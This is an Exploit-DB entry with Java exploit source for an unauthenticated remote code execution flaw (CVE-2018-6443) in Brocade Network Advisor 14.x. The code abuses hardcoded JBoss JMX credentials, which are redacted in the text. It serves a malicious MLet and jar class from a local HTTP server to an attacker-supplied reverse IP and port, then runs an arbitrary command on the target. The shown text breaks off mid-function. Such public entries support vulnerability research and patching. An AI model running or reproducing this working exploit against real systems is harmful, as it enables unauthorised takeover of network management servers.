Exploit-DB #46887
Description: Brocade Network Advisor 14.4.1 - Unauthenticated Remote Code Execution
Type: webapps
Platform: java
Date: 2019-05-21
Author: Jakub Palaczynski

Exploit:
/*                                                                        
   Exploit Title: Brocade Network Advisor - Unauthenticated Remote Code Execution
   Date: 2017-03-29
   Exploit Author: Jakub Palaczynski
   Vendor Homepage: https://www.broadcom.com/
   CVE: CVE-2018-6443

   Version:
      Tested on Brocade Network Advisor 14.X.X versions. Other may also be affected.
      Tested on EMC Connectrix Manager Converged Network Edition 14.4.1. Other may also be affected.
      IBM Network Advisor seems to also be affected.

   Info: Exploit uses hardcoded and undocumented credentials for JBoss JMX to execute arbitrary command on system.
*/

import javax.management.remote.*;
import javax.management.*;
import java.util.*;
import java.lang.*;
import java.io.*;
import java.net.*;
import com.sun.net.httpserver.*;
import java.util.Scanner;
import java.security.*;
import java.security.cert.*;
import javax.net.ssl.*;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.util.regex.Pattern;
import java.util.regex.Matcher;

public class RemoteMbean {

 private static String JARNAME = "compr.jar";
 private static String OBJECTNAMEA = "BNASupport:name=support,id=3434";
 private static String OBJECTNAMEB = "BNASecurity:name=loader,id=3535";
 private static String EVILCLASS = "com.expl.Evil";

 private static String localIP;
 private static int localPort;
 private static String connString;
 private static String command;
 private static String username;
 private static String password;
 private static String host;
 private static int port;
 private static int jmxport;
 private static String tspwd;

 public static void main(String[] args) {
  try {
   if (args.length < 3) {
    showHelp();
   }

   ts[CREDENTIAL_REDACTED]"; // default Java keystore password
   host = args[0].split(":")[0]; // IP of BNA
   port = Integer.parseInt(args[0].split(":")[1]); // HTTPS port of BNA

   char SEP = File.separatorChar;
   String path = System.getProperty("java.home") + SEP + "lib" + SEP + "security";
   File dir = new File(path);
   File file = new File(dir, "cacerts");
   if (file.isFile() == false) {
    file = new File(dir, "jssecacerts");
    path = path + SEP + "jssecacerts";
   } else {
    path = path + SEP + "cacerts";
   }

   // import SSL certificate into Java keystore
   checkCert(tspwd, file, path, host, port);

   // check if hardcoded password is still there and find JMX port
   jmxport = checkPwd(args[0]);

   if (jmxport == 0) {
    System.out.println("[-] Cannot find JMX port, trying default ...");
    jmxport = 24604;
   }

   connString = "service:jmx:remote://" + host + ":" + jmxport + "/"; // connection string for JMX - if "Unsupported protocol" error then maybe should be changed to "remoting-jmx"
   command = args[1]; // command to execute
   localIP = args[2].split(":")[0]; // reverse IP address
   localPort = Integer.parseInt(args[2].split(":")[1]); // reverse port
   username = "admin"; // hardcoded username
   [CREDENTIAL_REDACTED]"; // hardcoded password

   // starting HTTP server for serving mlet
   System.out.println("[+] Starting HTTP server.");
   HttpServer server = HttpServer.create(new InetSocketAddress(localPort), 0);
   server.createContext("/mlet", new MLetHandler());
   server.createContext("/" + JARNAME, new JarHandler());
   server.setExecutor(null);
   server.start();

   // start exploitation
   connectAndOwn(connString, command, username, password);
   server.stop(0);

   // clean up Java keystore
   deleteCertificate(file, path, tspwd, host);

  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 static void showHelp() {
  System.out.println("HOWTO: java -cp ./jboss-cli-client.jar:. RemoteMbean IP:BNA_HTTPS_PORT/ \"COMMAND\" REVERSEIP:REVERSEPORT");
  System.out.println("Example: java -cp ./jboss-cli-client.jar:. RemoteMbean 127.0.0.1:443 \"id\" 127.0.0.1:1234");
  System.exit(0);
 }

 static boolean checkCert(String tspwd, File file, String path, String host, int port) {
  try {
   InputStream in = new FileInputStream(file);
   KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());
   ks.load( in , tspwd.toCharArray()); in .close();

   SSLContext context = SSLContext.getInstance("TLS");
   TrustManagerFactory tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
   tmf.init(ks);
   X509TrustManager defaultTrustManager = (X509TrustManager) tmf.getTrustManagers()[0];
   SavingTrustManager tm = new SavingTrustManager(defaultTrustManager);
   context.init(null, new TrustManager[] { tm }, null);
   SSLSocketFactory factory = context.getSocketFactory();

   System.out.println("[+] Checking certificate.");
   SSLSocket socket = (SSLSocket) factory.createSocket(host, port);
   socket.setSoTimeout(10000);
   try {
    socket.startHandshake();
    socket.close();
    System.out.println("[+] Certificate is already trusted.");
    return true;
   } catch (SSLException e) {
    // e.printStackTrace(System.out); // uncomment to see what SSL error occured
   }

   X509Certificate[] chain = tm.chain;
   if (chain == null) {
    System.out.println("[-] Failed to obtain certificate. Connection to JMX server may fail.");
    return false;
   }

   BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));

   MessageDigest sha1 = MessageDigest.getInstance("SHA1");
   MessageDigest md5 = MessageDigest.getInstance("MD5");
   for (int i = 0; i < chain.length; i++) {
    X509Certificate cert = chain[i];
    sha1.update(cert.getEncoded());
    md5.update(cert.getEncoded());
   }

   X509Certificate cert = chain[0];
   String alias = host;
   ks.setCertifica